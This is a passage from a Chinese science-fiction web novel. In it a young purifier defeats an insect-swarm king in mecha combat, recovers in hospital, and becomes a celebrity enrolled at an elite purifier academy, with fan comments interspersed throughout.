白色的鸟雀虚影瞬间环绕上银白机甲，带着她冲破了层层的空间封锁逼近了王虫。 “太莽撞了！回来！”沉默了许久的官方解说惊呼出声，甚至忘了选手根本听不到他说话。 “王虫不是S级虫族！即便是S级精神海也抵挡不住多久污染的侵袭，这纯属是自杀式袭击。” 另一名解说也语气焦急道：“真是一个敢喊一个敢做，虫族的屠杀确实让人难以忍受，但这实在是太冲动了！” 就连官方解说都被如此莽撞的袭击吓到了，更别说其他观众。 即便没有污染，就如同S级虫族的金属能轻易撕开A级机甲尖兵的机甲一样，王虫面对S级机甲尖兵也是如此。 没有任何一个S级机甲尖兵会升起单挑王虫的想法，因为结局除了原地去世没有第二种可能。 就连两百年前席以宁斩杀王虫的荣耀背后，也是靠无数机甲尖兵用飞蛾扑火般的牺牲作为支撑。 战场上的人听不见官方解说在说什么，就在解说话音刚落的瞬间，附着着黑红火焰的长棍直劈王虫。 王虫眼睛微眯，已经认出了来人是谁，周身流传的金属瞬间化作利刃迎了上去，与此同时下面的空间也全部解除了封锁。 赵宴月平静的声音在空中响起：“怎么不锁了，是因为晶源里的能量不够了吗？” 王虫没有回话，一招一式虽然不是什么致命的杀招，但下手并不轻，银白色的机甲很快就变得破破烂烂。 一阵阵尖锐的刺痛传到神经，赵宴月嘴巴上依旧没停：“猜错了吗？” “那我再猜猜，是因为晶源里的能量在维持空间封锁的时候不能再用作其他用途吗，比如操控金属。” 王虫对正确答案并不吝啬答复，随手放出一道空间墙挡住了赵宴月的进攻，漠然回话道：“被你猜中了，然后呢。” 空间墙很快消失，王虫的利刃只逼驾驶舱而来，又被银白机甲以一个刁钻的身位躲过。 “没有然后，等死吧你。” 空间一解除封锁，联邦的战士们便朝虫族发起了猛攻，他们的心中早已经积攒了无边的愤怒。 但有王虫的指挥，S级虫族首次出现了互相合作的战斗场面，它们不再是各自为战一团散沙，打出了一加一等于三的效果。 即便没有空间封锁，下方重新打起来的虫族和联邦显然也已经呈现出一边倒的局面。 一边是飞速上涨的污染，一边是配合默契的虫族，双重压力下的联邦战士们几乎是在咬紧牙关苦苦支撑。 而另一边，观众们只能看到赵宴月的机甲上出现了越来越多深深的口子，机甲的各个关节都变得扭曲。 王虫身上虽然也负了点伤，但相较之下堪称微不足道，能量一修复便平复如旧。 随着银白色机甲被轰的一声击落在地，已经七零八落的机甲也终于损失战斗能力，直接化作流光消散。 没有了赵宴月的干扰，封锁的空间重新降临，而赵宴月也双眼紧闭地躺在布满了鲜血的黏腻沙土上。 没有了机甲防护，在危险的战场上无异于是在生与死的界限反复横跳。 天上的王虫扭了扭手腕，不紧不慢地向着赵宴月逼近。 它所到之处污染飙升，赵宴月光脑上的污染值监测器发出红光，尖锐的机械音响了起来。 “警告，警告，污染值已达60%。” 网友们已经不忍再看。 “我不敢看了呜呜呜呜，垃圾女王可是我看着长大的。” “哭瞎了，刚才我还在她直播间里质疑她为什么不上战场，我真是该死！” “要不是垃圾女王和王虫拖了这么长时间，联邦的战士又要损失好多，我们垃圾女王才不怕上战场。” “人家要么不上，要上就给你来个大的，你说你这么勇敢干嘛呜呜呜呜……” “垃圾女王的污染值好诡异啊，她怎么做到和王虫打了这么大半天，污染值才突破60%的，这可是王虫。” “你不会要说垃圾女王是净化师殿下吧，净化师是不会被污染的。” “如果精神力耗空了呢？你们别忘了，垃圾女王现在的精神力本来就不多，如果耗空了呢？” “等等，不对，这不对吧，怎么听起来这么有道理。” “来个人捞一把啊！！！她是净化师那还得了！！！” “怎么捞啊！！!炎羽雀身上的火都熄了！！！空间又封锁了……” “怎么办啊垃圾女王呜呜呜我真没招了呜呜呜……” 王虫已经离赵宴月越来越近，就在所有人都提心吊胆之时，另一边许白亦比水桶还粗的天雷不知何时已经强行劈开了封锁的空间。 王虫微微偏过头，而许白亦的速度极快，一道道空间墙甚至没能追上他行进的步伐。 浑身充斥着深紫色雷霆的机甲一个跃起在空中翻过身，手里雷光遍布的长刀带着恐怖的威势朝地上的王虫砍去。 他明显也看出了王虫空间封锁的限制，果然王虫一操控金属还击，大大小小的空间封锁便全部失效，战场重新变得公平。 虽然许白亦在王虫靠近赵宴月之前拦下了它，但和赵宴月不同的是，许白亦的污染值比赵宴月提升得快得多。 他光脑上的污染监测器很快就开始出现已达到60%的警告，就连官方解说也喃喃出声：“怎么会这样。” 如果以许白亦的精神海强度都在王虫的污染下撑不了多久，更别说是其他人。 屏幕外的众人没法亲身感受到战场的情况，会这么惊讶完全是因为赵宴月给众人带来了对王虫污染的错误认知。 她和王虫的长时间作战，让所有人都以为每个S级尖兵都可以在王虫的污染下撑这么久。 来不及深思其中的古怪，许白亦污染值监测器的尖锐报警声又划破了战场的喧嚣。 “警告！警告！污染值已达80%！” 污染值突破80%，剧烈的头痛立马随之而来，狂躁症的威力人人闻风丧胆，相当于直接丧失了作战能力。 然而正在和王虫对战的机甲却依旧没倒下，也没从赵宴月的面前让开半步。 这种头痛欲裂的感觉就像是有人拿着钢丝球在脆弱的大脑里疯狂搅拌。 许白亦嘴唇都被咬出了血，一双清冽的眼睛里布满了红血丝，但他出手的动作丝毫没停，就连速度都没有慢上半分。 “严重警告！严重警告！污染值已达94%、95%、96%、97%……” 这种简直在挑战人类承受极限的场景让解说都说不出一个字，只有胸腔里砰砰的心跳声一声比一声清晰。 战场上的厮杀声震耳欲聋，联邦也已经节节败退，颓势已经无法挽回，满目疮痍。 最高指挥官的命令传遍整个战场，宣布了这场战役的结果：“各单位注意，这里是指挥部，全体战士交替掩护撤退！” “再次重复，各单位注意，这里是指挥部，全体战士交替掩护撤退！” “污染值已达98%、99%……” 污染监测器的播报声像是在催命，就连说话向来心平气和的官方解说这时都直接嘶吼出声：“许白亦！撤退！” 贺江山等人已经朝着这边疾驰而来，试图从许白亦手中接过和王虫对战的任务，否则在王虫的空间封锁下谁都走不了，但是已经没有时间了。 “污染值已达10……” 一股磅礴而浩瀚的精神力猛地爆发开来。 监测器的播报卡顿片刻，又开始发出语气逐渐平静的警告。 “警告！警告！污染值已达80%。” “警告，警告，污染值已达60%。” 许白亦的污染值监测器仿佛卡了一般，开始从后往前开始倒退。 莹莹的浅绿色光芒以他为起点，呈现出一个逐渐扩大的圆形，迅速往外扩散，绵延了数十公里。 光芒所到之处，不管是S级还是B级都平等地被净化，污染值火速归零。 污染监测器的尖锐声音此起彼伏，无论是正在苦战的战士，还是陷入狂躁症痛苦里的伤员，又或者是离100%污染已经一步之遥，躺在地上奄奄一息的士兵，精神海浓黑的污浊都被瞬间清空。 所有因战斗积累的污染、因空间封锁产生的恐惧和绝望，都如同被阳光照射的冰雪般迅速消融瓦解。 许白亦身后的少女整个人都在精神力的能量场下漂浮了起来，发丝飞扬，身后扭曲而庞大的精神力就像是某种古老的巨兽在身后苏醒。 它张牙舞爪而慵懒地舒展着身体，莹莹的绿色光芒勾勒出了巨兽的形状，遮天蔽日，气吞万里。 所有人都看向了这个方向，刹那间仿佛有密密麻麻的电流从心脏泵动到全身。 身体已经因为污染的清空做出了反应，只不过脑子里还没想明白发生了什么。 “这是净化吗？我不是S级吗？是有净化师吗？” “我也是S级啊，污染值真的一秒骤降！瞬间清零好恐怖啊！” “哇靠S级净化师！” “我怕是在做梦吧，这里起码有近百万人，全云中宫殿的净化师殿下加起来也净化不了这么多……” “这不止是S级净化师吧……” 难以置信的惊呼声在战场各个角落响起，原本早已摇摇欲坠的防线，如同被注入了肾上腺素般瞬间稳固下来。 王虫的空间封锁不再具有慢性死亡的震慑力，战士们的眼神也重新变得锐利。 随着冲锋的号角响起，一时间士气大振，虫族的伤亡从此刻开始激增，局势彻底逆转。 屏幕外的网友们不比现场的战士，他们在官方直播间里清楚地看到了全过程。 一条条祈祷胜利的弹幕都消失了，明明在线观看人数的数字堪称恐怖，但是直播画面从许白亦极限起死回生的那一刻就开始出现了长时间的清屏。 “垃……垃圾女王……” “殿下！！！啊啊啊啊啊啊啊啊！！！！！！” “垃圾女王是S级、级、级净化师？我的大脑一下子处理不了信息了，谁来给我解释一下这句话的意思。” “实则不然，不止S级。” “大胆！楼上怎么敢这么称呼我们出手净化百万人·不知道多少级净化师·一人之力扭转乾坤·BKING·尊贵·强大·可靠·赵宴月殿下！” “啊啊啊啊啊啊垃圾女王！！！你可是我看着捡垃圾长大的！！！呜呜呜呜……” “所有战士们被净化的时候，全小区瞬间发出了尖锐爆鸣声，还有疯子在我楼上狂跳，还以为是地震了。” “那你们小区居民承受能力还不错，我们小区救护车都进了好多辆，滴嘟滴嘟的没停过。” “我当时都绝望了呜呜呜……我以前竟然是垃圾女王黑粉，千错万错都是我的错呜呜呜……” “我爸刚才大悲大喜之下也晕过去了，打急救电话结果医生说救护车不够用，医生指导我妈掐了好几次人中才掐醒。” “之前我还说垃圾女王不上战场是怂了，殿下你快下来吧，我现在看见你出现在战场上好害怕。” “不敢再看了，要是看到殿下头发丝掉一根我都会心脏猝停然后死掉。” “你们这群不要脸的，垃圾女王的机甲手办为什么突然售罄了？” 超S级净化师的出现，无疑已经带来了胜利的曙光。 虫族之所以能够以少胜多地全方位压制联邦，不过是因为联邦净化资源稀缺，面对精神海污染无能为力。 一旦解除了污染的枷锁，联邦战士们的数量几乎是虫族的一倍有余，逆转战局简直轻而易举。 赵宴月身后巨大的精神力因为净化渐渐消散，而她也从微微悬浮的状态落到了地上。 周围的所有人都向着她靠近，他们怀着一种激动难抑又小心翼翼的心情，组成了一个强大的保护圈。 而赵宴月的目光穿越混乱的战场，锁定了空中那道模糊的王虫身影。 王虫一天不死，联邦就不会有安生的时候。 毕竟王虫的存在本身就能加速高等级虫族的孵化，不解决根源问题都是治标不治本。 它现在还没有脱离成长期，此时就是最好的击杀时机，让王虫去死可不只是说说而已。 王虫感受到空气中比曾经还要美味数倍的精神力，饥饿的感觉充斥了全身上下每一个细胞，已经再也无法忍受。 即便虫族是一种没有感情的生物，但填饱肚子是所有生物的本能。 对高等级虫族来说，唯一能让它们产生生理性愉悦的只有吸□□神力的过程，这就像是精神鸦片，成瘾再简单不过。 或许这都不能叫做成瘾，就像人类不会把每天必须吃饭叫做上瘾，唯一的区别只是人不吃饭会饿死，虫族不吃也不会饿死。 王虫面无表情地做出了吞咽的动作，甚至已经无心再指挥S级虫族作战。 它眼中只剩下赵宴月，将赵宴月当成了唯一的猎物，而赵宴月也是如此。 暗红的丝线悄无声息地缠绕上大片的虫族，赵宴月的精神力疯狂滋长。 在众人的环绕之中，银白色的机甲忽然突破了保护圈，直奔王虫而去。 “赵宴月！” “殿下！” 反应过来的机甲尖兵吓得心跳都停了一下，然后开始快速地咚咚咚狂跳不止。 他们一部分人拖住S级王虫，另一部分人马不停蹄地跟了上去对王虫进行围攻，挡住王虫许多次对赵宴月的攻击。 空气中的净化因子感受得到但没法吸食，这让王虫原本原本冰冷漠然的气息都变得混乱而狂暴，丧失了些许理智。 王虫和赵宴月都没有关注其他人，它和银白机甲瞬间向着彼此逼近，眼里只有唯一的对手。 对方攻击的动作快成残影，两人身上都开始出现大大小小的伤口，赵宴月看向王虫的目光颇有种不死不休的架势。 她这边好歹人多力量大，但王虫不愧是超S级的生物，以一敌众也不落下风。 其他人精神力都要耗空了，而王虫身上好不容易出现的伤口还是一秒修复，晶源里的能量仿佛无穷无尽，仿佛不可战胜。 直播间的观众们看得心脏狂跳，求爷爷告奶奶希望赵宴月别出事，打字的手都哆哆嗦嗦。 上一次看见赵宴月对上王虫的时候，网友们虽然震撼但接受程度相当高。 这一次刚知道她是不知道多少级的净化师，结果她下一秒又冲上去和王虫干起来了，网友们这下是一点也接受不了了。 赵宴月的身影就像是逗猫棒，她的行动速度又极快，观众们眼睛看完左边看右边，然而最不敢看到的事情还是发生了。 画面里的银白色机甲再次化作流光消散，少女的身体从空中坠落，观众们的心脏顿时沉到谷底，连呼吸都屏住了。 无数机甲跟在王虫的身后同时追了上去，王虫面对已经没有机甲防身的赵宴月也放松了警惕。 坠落的人没有机甲防护，但王虫并没有直接操控尖刀刺穿她的心脏，而是去拉她的手腕。 这是它唯一的食物，王虫从一开始就没打算杀她。 赵宴月忽然笑了笑，知道自己赌对了，她借着精神力的能量场在空中猛地一翻身，反手拉住王虫将它压制在下方。 “是不是以为我精神力不够了？” 话音未落，磅礴的精神力在赵宴月手中高度凝聚，轰击在王虫的胸膛之上，带着一丝已经有经验的从容。 胸膛内部的晶源被精准地把握住了位置，带着浓厚净化因子的精神力和污染无声地相撞后又湮灭。 赵宴月嘲讽道：“真是想不通怎么有人会在同一个坑里跌倒两次，对敌人下不去手你不输谁输。” 王虫闷哼一声，身上剧痛，但触角却感受到浓郁的净化因子而有些兴奋地微晃：“如果想借此杀死我，你也会死。” “是吗？” 王虫没有回答这个反问，漠然道：“你可以现在放弃，也可以和我一起死。” “你什么档次我什么档次，我凭什么和你一起死。” 王虫听不懂赵宴月的阴阳怪气，清越的声音此时也带着绝对的淡漠：“因为你是我唯一能吃的食物。” 赵宴月懒得去理解王虫的逻辑，反问道：“那我死了你是不是也不想活了。” “可能是。” 神经病。 王虫身体里的晶源不是已经被剥离出来的死晶源，赵宴月一边净化里面的污染也在一边生成，就像是精神海一样。 精神力和晶源里生成的污染纷纷湮灭，此消彼长间还是净化因子更胜一筹，污染逐渐消散。 然而就在最后一丝污染被净化干净的瞬间，晶源的外壳忽然碎裂。 就像是精神海屏障被触发后出现的防御机制，浩瀚的污染能量刹那间贯穿了赵宴月的精神海。 在王虫晶源碎裂的同时，虫族也陷入了混乱，攻势明显减弱，最后直接四散撤离。 然而击退了虫族的联邦军队并没有发出胜利的欢呼，而是陷入了一片寂静。 许白亦第一时间接住了在空中高速坠落的赵宴月，只见她光脑上的污染监测器的数字疯狂飙升，最终定格在100%。 剧烈的头痛仿佛要撕裂赵宴月的灵魂，世界在她眼前变得模糊扭曲。 在彻底失去意识的前一秒，风吹着她微不可闻的气声飘荡到耳边：“哭哭哭，哭得人心烦，等我复活。” 王虫什么档次她什么档次，她可不做以命换命的赔本买卖。 她的声音太小，除了许白亦根本没有其他人听见。 S级净化师加斩杀王虫，如此成功的人生履历，撒因积攒的能量够她起死回生了。 就是不知道要死多久。 许白亦眼泪狂掉，也不知道她在说什么屁话，但是发现了她在污染值达到100%后，胸膛竟然还有微弱的起伏。 100%污染状态下竟然没死，这对三垣星系的居民来说冲击力太大了。 许白亦这下眼泪都忘记掉了，火速摘掉了赵宴月的光脑塞进兜里隐藏死亡证明，让哭得一把鼻涕一把泪的医疗队将她送上了医疗舰。 网友们见赵宴月生死不明，一丝击败虫族的喜悦都没感受到，抹着眼泪在星网上哭爹喊娘。 第112章 “殿下生命体征平稳, 预计短期内有望苏醒”[爆] “首位S级净化师横空出世，S级？超S级？”[爆] “云中宫殿召开新闻发布会”[爆] “王虫被殿下击杀！三垣星系或将再次迎来和平时代！”[爆] “联赛冠军天市星”[热] “星际舰队损伤惨重”[热] “教育部宣布圣芙尔净化学院将进行课程改革”[热] 星网彻底陷入了前所未有的沸腾，每一个话题下面都飞快刷新着评论, 服务器几度濒临崩溃。 云中宫殿的新闻发布会现场内, 段院长面对镜头语气沉稳道：“赵宴月同学确为S级净化师，为保障殿下的人身安全, 避免不必要的关注与潜在风险，我们暂未对外公布其身份，对此给公众带来的疑虑与困惑, 我们深表歉意。” 另一边的联邦教育部及军方联合发布会内，一位肩扛将星的老将军与教育部长共同出席。 “赵宴月殿下为联邦赢得了这场关键战役的胜利, 更为我们所有人展现了净化师未来的另一种可能性。” 教育部部长说到这顿了顿，而后宣布道：“经执政官联合会议批准，联邦将全面推动圣芙尔净化学院课程改革, 体能训练、格斗技巧乃至机甲实操等都将成为净化师的必修课, 我们将尽可能培养能守护他人也能守护自己的战士，而非温室里的娇花。” 这话一出, 立马激起了大片大片的反对声音，而后又被另一种声音覆盖。 “教育部得失心疯了吧。” “早就听说了闻执政官要改革的风声, 当时各方势力都不同意, 怎么突然就反水了。” “学习这类课程势必会受伤, 为什么要让殿下们做这么危险的事？” “净化师殿下掉一根头发丝儿我都心疼, 怎么可以去打打杀杀。” “你要这么说那咱们各退一步, 只有比月月殿下等级更高的净化师才可以不上这些打打杀杀的课，谁赞同谁反对？” “有赵宴月殿下的先例在前，再说殿下们金尊玉贵不能上这种武术课就太过分了，要说身份尊贵谁能贵得过她, 上个课搞得好像有什么生命危险一样，别忘了赵宴月殿下可是刚从战场下来。” 会场一片嘈杂，老将军将手往下一压，洪亮的声音带着不容置疑的力度：“本次课程改革将从今年开始推行，圣芙尔净化学院只负责展开教学，未来是否愿意亲自上战场全凭殿下自身意愿，任何人都不得干涉。” 教育部部长此时也接话道：“我们将尽最大努力为所有净化师殿下提供更全面、更强大的保护与支持，让他们的潜力得到发挥。” 这个新闻的发布如同投入平静湖面的巨石激起千层浪，圣芙尔净化学院的课程改革迅速在星网上激起了强烈反响。 “虽然说是尊重个人意愿……但万一真有殿下想不开怎么办，把垃圾女王当榜样什么的，真是想想都要崩溃了。” “作为垃圾女王曾经的黑粉，我衷心希望大家都能锻炼出一个强大的心脏，阿门。” “在心理承受能力评估测试上，我因为看完了垃圾女王击杀王虫全过程并且没有因为承受不住进行中场休息，结束后也没有眩晕呕吐的症状，得到了唯一的S＋好成绩。” “哇靠楼上真男人，太强了，cpdd！” “……我至今不知道当时发生了什么，直播看到一半晕过去了。” “虽然说全凭自愿，但是大家的担心不无道理，眼瞅着我家许清雪殿下成了赵宴月殿下的小迷妹，绝对开团秒跟。” “要是殿下们有一定程度的自保能力，云中宫殿也不会保护得这么严密了，所以垃圾女王有可能开线下见面会吗。” “考古了月月殿下曾经的直播回放，在知道她是净化师后再看回放真是越看越好笑，弹幕简直是大型鞭尸现场。” “现在还叫垃圾女王的，我一眼就知道你们都是垃圾女王的原始黑粉（划掉）老粉。” “发出今天第999次询问，殿下到底什么时候能醒，急死我了，急得我到处乱窜。” 不管网上如何喧嚣，所有话题都围绕着一个核心——赵宴月。 而此时的医院特级监护区里，气氛却是空前紧张，以联邦医学泰斗陈老先生为首的医疗专家组，正对着各种监测数据眉头紧锁。 “生命体征完全平稳，精神力波动稳定到远超常人，但为什么就是不醒？都一周了。” 专家将手里的各项身体数据报告翻看了八百遍，百思不得其解。 陈老沉吟片刻，缓缓道：“或许殿下的意识还处于深层修复状态，不要过于忧虑自乱阵脚，只要数据正常继续观察即可。” 就在专家组围在床边用各种专业名词讨论许久，终于准备离开之时，病房内监测仪器发出一声轻微的滴声。 病床上的人眼睫微颤，而守候在床边的医护人员愣了一下，随即道：“醒了！殿下醒了！” 专家组脚步一顿，火速转身冲进病房，刚才的沉稳风度全都消失不见，每个人脸上都带着难以置信的激动和欣喜。 赵宴月适应了一下光线，终于看清床边围了一大圈神色激动的白大褂，整得好像她醒过来是创造了什么生命的奇迹一样。 实不相瞒，她只感觉自己睡了一觉，之前所有的劳累都一扫而空。 等被翻来覆去地检查一遍又经历了细致的问话过后，赵宴月被确认为身体健康，一切安好。 专家组们唉声叹气一步三回头地退出了病房，将空间留给已经接到消息前来探望的大人物。 身姿笔挺的男人走到床边，目光落在赵宴月容光焕发的脸上，稍稍张了张嘴，还是走了个流程问道：“殿下感觉怎么样？” “好极了。”赵宴月嚼着护士姐姐喂来的水果，感慨上一次吃上人吃的东西都已经是上一次了。 闻星洲很难看不出来她现在好极了。 他简要说明了一下目前的情况，然后转到正题道：“……所以虫族估计会消停很长一段时间，不过殿下未来的生活可能会受到些许影响，星网上现在很热闹。” 赵宴月一想到这吃水果都不香了，不过闻星洲见状笑了笑，明显早就预料到了这一切：“我倒是有个想法。” 听完闻星洲的建议，赵宴月眼睛一亮表示同意，而随后赶来的天市星执政官们一进来，就听到赵宴月被闻星洲骗走了，顿时气得两眼发黑。 …… 殿下苏醒的消息光速传遍了整个三垣星系，医院外围也早已被闻讯赶来的记者和民众围得水泄不通。 当车牌号嚣张的悬浮车在前后几十辆装甲护卫车的护送下缓缓驶离医院时，闪光灯几乎连成了一片光海，欢呼声和尖叫声震耳欲聋。 各种各样喊赵宴月名字的声音撕心裂肺，其中还夹杂着记者们嗓子都喊劈叉但是无人在意的采访声。 记者们见状只好疯狂地追逐着车队，虽然长枪短炮恨不得穿过紧闭的车窗，但只能对准什么都看不见的悬浮车咔咔咔地拍了百八十张照片。 就在他们看着自己拍到的照片头疼的时候，悬浮车的车窗忽然降了下来。 里面的人还没看见，外面已经引来一阵更加疯狂的尖叫和快门声。 赵宴月将手伸出窗外挥了挥，气势很足道：“同志们好！” 记者：“……” 还是她有节目。 “啊——殿下！！！！！” “垃圾女王！！！” “看这边看这边殿下！这是我这辈子唯一的请求！” “哪个不要脸的挤我！都给老子让开！啊啊啊啊啊殿下！！！” “殿下，今年开学还能在兰柏林见到你吗！可以的话我真得考兰柏林了！” “殿下我是你的十年老粉了！可以开粉丝见面会吗！” 赵宴月还没来得及回话，闻星洲已经将快要半个身子探出车窗的人拉了回来，只让她出现了不到十秒。 车窗缓缓降落，闻星洲声音温和道：“车辆行驶过程中将任何身体部位伸出窗外都是违法行为。” 被迫中止了过一把领导瘾的人一脸不爽：“不是说这个车牌的车不用遵守交通规则吗。” 闻星洲立马换了种说辞道：“警卫员们都要拦不住热情的民众了，殿下再露面容易出现踩踏事故。” 警卫员们一个个都是身强力壮的契约者，哪里拦不住普通民众，但闻星洲都这么说了，赵宴月干脆也老老实实坐了回去。 她在车里环视一圈，发现几名侍卫官还是曾经的老熟人，只不过少了一个人影。 “柏慈呢？” “这也是我之后想和殿下商讨的事情。” 闻星洲并不意外她的问题，顺势开口道：“柏慈实力特殊，被我安排守在灰烬-III星外侧的第一道防线，这是最先迎击虫族的部队，也是死伤为为惨重的部队，柏慈和许多S级机甲尖兵们现在都在禁区疗养，等殿下到云中宫殿休息好之后，还需要您去一趟禁区。” 禁区也位于紫微星一区，赵宴月对这个地方不算陌生。 不过柏慈真是有够命苦的，明明年纪也不大，污染值已经第二次突破80%了。 “到了紫微星先去禁区吧。”赵宴月想到还有一大批人等净化，懒洋洋道：“净化完了我再去云中宫殿。” 能早点净化污染最严重的那一批S级自然是最好的，闻星洲得了便宜还卖乖道：“既然殿下开口了，那自然是以殿下的意愿为主。” 车队一路驶进了天市星的空港港口，街边全是神情激动的民众，场面比万人空巷的净化盛典还要夸张。 悬浮车的隔音效果很好，赵宴月只能看见他们一直在朝着车窗喊话，还有激动到嗷嗷哭的，不禁嫌弃道：“一点也不深沉。” 前面的侍卫官听了这话，立马轻咳一声压住笑，觉得赵宴月这话实在是乌鸦笑猪黑。 殿下本人也着实没深沉到哪去，带出来的兵更是和她一点没差。 从天市星到紫微星的航线不短，过去需要花费点时间。 而紫微星的居民们也早早察觉到了赵宴月的行迹，早早蹲守在路边望眼欲穿。 不过比起一把鼻涕一把泪的天市星民众，紫微星上的大家虽然也激动到发出尖锐爆鸣声，但他们的情绪表达已经算得上内敛，果然一方水土养一方人。 之前赵宴月净化禁区里一个个污染值高达80%以上的S级精神海还有些捉襟见肘，净化的进度十分缓慢，但现在有了终极态七阶的青藤在，净化S级机甲尖兵对赵宴月来说早就不是什么难事。 她现在已经是终极态的S级净化师。 赵宴月没花多久就让正规名字其实叫“联邦疗养院”的禁区直接倒闭，没有了狂躁症的威胁，在其中修养的战士们都被转移到了一区的正规医院。 不过柏慈的受伤情况很是严重，但至少不在牺牲名单里，估计得修养一段时间。 完成这一切后，载着赵宴月的悬浮车终于驶向了紫微星一区中心位置，被誉为联邦瑰宝的、传闻中的云中宫殿。 悬浮车经过了一层又一层防护检查，最终停在一座极致奢华却又不失雅致的小庄园前。 庄园在柔和的光线下流淌着温润的光泽，奇花异草点缀其间，空气清新得不可思议，仿佛每一口呼吸都在净化灵魂。 侍卫官恭敬地拉开车门，赵宴月干净的鞋底踩在了地面上，她眯了眯眼抬头看去，大门口旁边黑金配色的门牌暗光流转。 宝珠路1号。 真不错啊，好久没过过人过的日子了。 她当年好歹也是地球首富…… 赵宴月还没来得及感叹完，忽然想起了什么似的，把撒因叫了出来。 “等等，我爹呢？” 第113章 晨光熹微, 为宝珠路1号庄园镀上一层柔和的金边。 赵宴月陷在柔软的大床里睡得四仰八叉，而小六和青藤在被子上蹦来蹦去，菜鸡互啄但打架打得很激烈。 激昂的“卡卡卡”和冷静的“嘶嘶”声环绕在耳边, 赵宴月迷迷糊糊之间被女仆温柔地唤醒。 等彻底清醒过来之后, 她才发现自己已经站到了穿衣镜前。 女仆正为她整理着用料考究剪裁合身的校服，衬衫和裙摆上还绣着精致的暗纹。 这熟悉的场景让赵宴月以为自己回到了地球上, 好像马上就要出门上学了似的。 她止住了女仆整理裙摆褶皱的动作，指了指胸徽上的LOGO，茫然道：“我还要上学？” 没记错的话, 她不是来云中宫殿玩……不是，避风头的吗。 “当然了殿下。”管家不知何时站在了门边, 彬彬有礼地回话道：“本学期还有一个月才结束，闻执政官特意叮嘱过殿下不能落下学业，您将作为交换……借读、呃, 特邀生在圣芙尔净化学院进行学习。” 赵宴月回忆了一下, 想起闻星洲好像确实提过这回事，只不过这几天旅途劳累, 早就被她忘到天边去了。 再次体验到温柔女仆的贴心服务，赵宴月看着镜子里正在被扎着头发的人都感觉恍若隔世, 等记忆回笼又点开了光脑。 果然, 闻星洲已经将赤炎雀的进化链发给了她。 他倒也没问什么她要赤炎雀的进化链干什么, 只不过末尾说了一句奇奇怪怪的话。 闻星洲：有殿下在净化学院, 我相信一切问题都会迎刃而解^^ 赵宴月盯着这句话看了好几遍, 总感觉哪里有坑等着她跳，但是又有点摸不着头脑。 好在《进化图鉴》现在只差青藤的进化链，只要她精诚所至金石为开，青藤总有一天愿意接受当小四…… 吧。 撒因说她起死回生消耗了太多能量, 要想把赵董事长带过来只能等进化图鉴解锁。 总归这一天不会太远，就算青藤不愿意被契约，也可以等松教授那边的研究进展，双管齐下总有一条路走得通。 赵宴月一想到这，顺手往床上的青藤身上套了个精神力网搞偷袭，结果下一秒就被它一尾巴甩得稀烂。 青色的小蛇对着赵宴月“嘶嘶”了几声，一双清亮黑瞳里透着三分厌世三分愤怒四分破防。 先别管它在破防什么，总之比初见时有活蛇感多了。 赵宴月听又听不懂，小六也缩在精神海里装死不吱声，小五更是在楼下的草地上晒太阳，压根没人给她当翻译。 她思索片刻，左想右想也没觉得自己有哪里惹到了青藤，于是直接将小六从精神海里抓了出来。 “有什么是非恩怨你们自己做个了断。” “卡卡！” 被人用大拇指和食指捏住头的小六根本不慌，它悠闲地晃动身体在空中荡了荡，然后一个起跳蹦到床上。 自从它大哥升到21阶，赵宴月精神海里的精神力浓度大提升，短短几分钟就能在精神海里满血复活。 就算青藤比它高几阶它也不带怕的，此时又“卡卡卡”地狞笑着和青藤扭打在一起。 非攻击类灵兽打起架来简直让人没眼看，赵宴月公平公正谁也不帮，随它们去。 “殿下，车辆已经备好，可以出发了。”管家提醒道。 悬浮车驶出庄园，窗外景象飞速掠过。 云中宫殿像是一座星际大都市，看着比天市星的首都玻娅区还要繁华精致。 街道两旁店铺琳琅满目，从高定服装店到顶级餐厅，从珍稀艺术品沙龙到高科技娱乐中心，应有尽有。 大街上守卫森严，每隔一段距离就有身着银灰制服、装备精良的巡逻队进行扫描，确保这座“象牙塔”的绝对安全。 平时出门排场惊人的净化师们在这里也轻装简从，出门时身边只跟随着一名身着笔挺制服的骑士。 他们如同沉默而可靠的影子负责安保提物，又或者为自己的殿下撑伞遮阳。 “生活在这里的人都是净化师和他们的家属？”赵宴月好奇道。 众所周知净化师上到一百岁下到十八岁加起来也就只有一小撮人，大街上明显不会有这么热闹。 “绝大部分都不是。”侍卫官回答道，“云中宫殿内居住着所有登记在册的净化师及其亲属，但是这些人的占比很小，更多的是为殿下们服务的各类人员，涉及商业、教育、安保、医疗设施等等领域，这些工作人员的直系亲属也可以入住云中宫殿。” 听着倒也不错，可惜当初赵宴月在暑假被接去紫微星时，许爷爷和许奶奶就拒绝了官方邀请他们入住云中宫殿的提议。 二老在绿野城的灵兽商业街住了大半辈子早就住习惯了，并不会执着地想要和孩子住在一起，完全实施自由放养政策。 赵宴月这边还没到学校，而另一边圣芙尔净化学院202班的学生们第一次都早早到了教室。 教室里坐满了圣芙尔的学生，少年们如同被打磨好的珍珠，神情间带着被精心呵护娇养出来的矜贵。 “贺如故，听说赵宴月是你邻居？你也太幸运了吧！” 长相格外漂亮的少年闻言抬起下巴：“我住宝珠路2号是因为实力，幸不幸运赵宴月都只能和我做邻居。” 有人见状轻嗤一声：“有什么幸运的，大家都是净化师，还分出个高低上下了。” 贺如故闻言暂停骄傲，不用转头看就知道说这话的是谁。 他冷笑一声，语气不咸不淡地讽刺道：“有的人之前仗着自己是B级净化师，将等级分明那一套搞得风生水起，现在怎么又人人平等上了，3号？” 被人阴阳怪气的少年一拍桌子站起身，看向贺如故的目光像是在看这辈子最大的仇人：“你说谁3号？” 贺如故冷淡道：“谁住3号谁就是3号喽。” 眼见2号和3号又对上了，其他人都不敢吱声。 202届将近100名净化师里并没有A级，而全校唯一的A级学生许清雪是201届的，平时也压不到3号头上。 3号虞韵家世显赫，天赋惊人，结果一进圣芙尔处处都被贺如故压了一头，早就不爽贺如故很久了。 如今再来个赵宴月，场面真是让人不敢想象，也不怪他这么破防。 虞韵目光扫过小声议论的其他人，轻哼一声将手撑在桌子上：“你们之前还说不想上那些武打课，现在怎么不吱声了？要不是赵宴月，你们本来这辈子都不用上这些垃圾课。” 此话一落，比之前更大的议论声如同潮水般蔓延开来，之前还在看热闹的同学们现在也笑不出来了。 “我不想上什么体能课，一听就累死了。” “我也不想，之前就听到过风声，只不过一直没推行，为什么突然要改。” “还能因为什么，有人提供了正面案例呗，真是一人出风头所有人受苦。” “你说的什么屁话，没有她虫族现在都打进紫微星了，你以为你现在还能在这好好坐着？” “我们可是净化师，就算虫族打到紫微星联邦也会第一时间保护我们。” 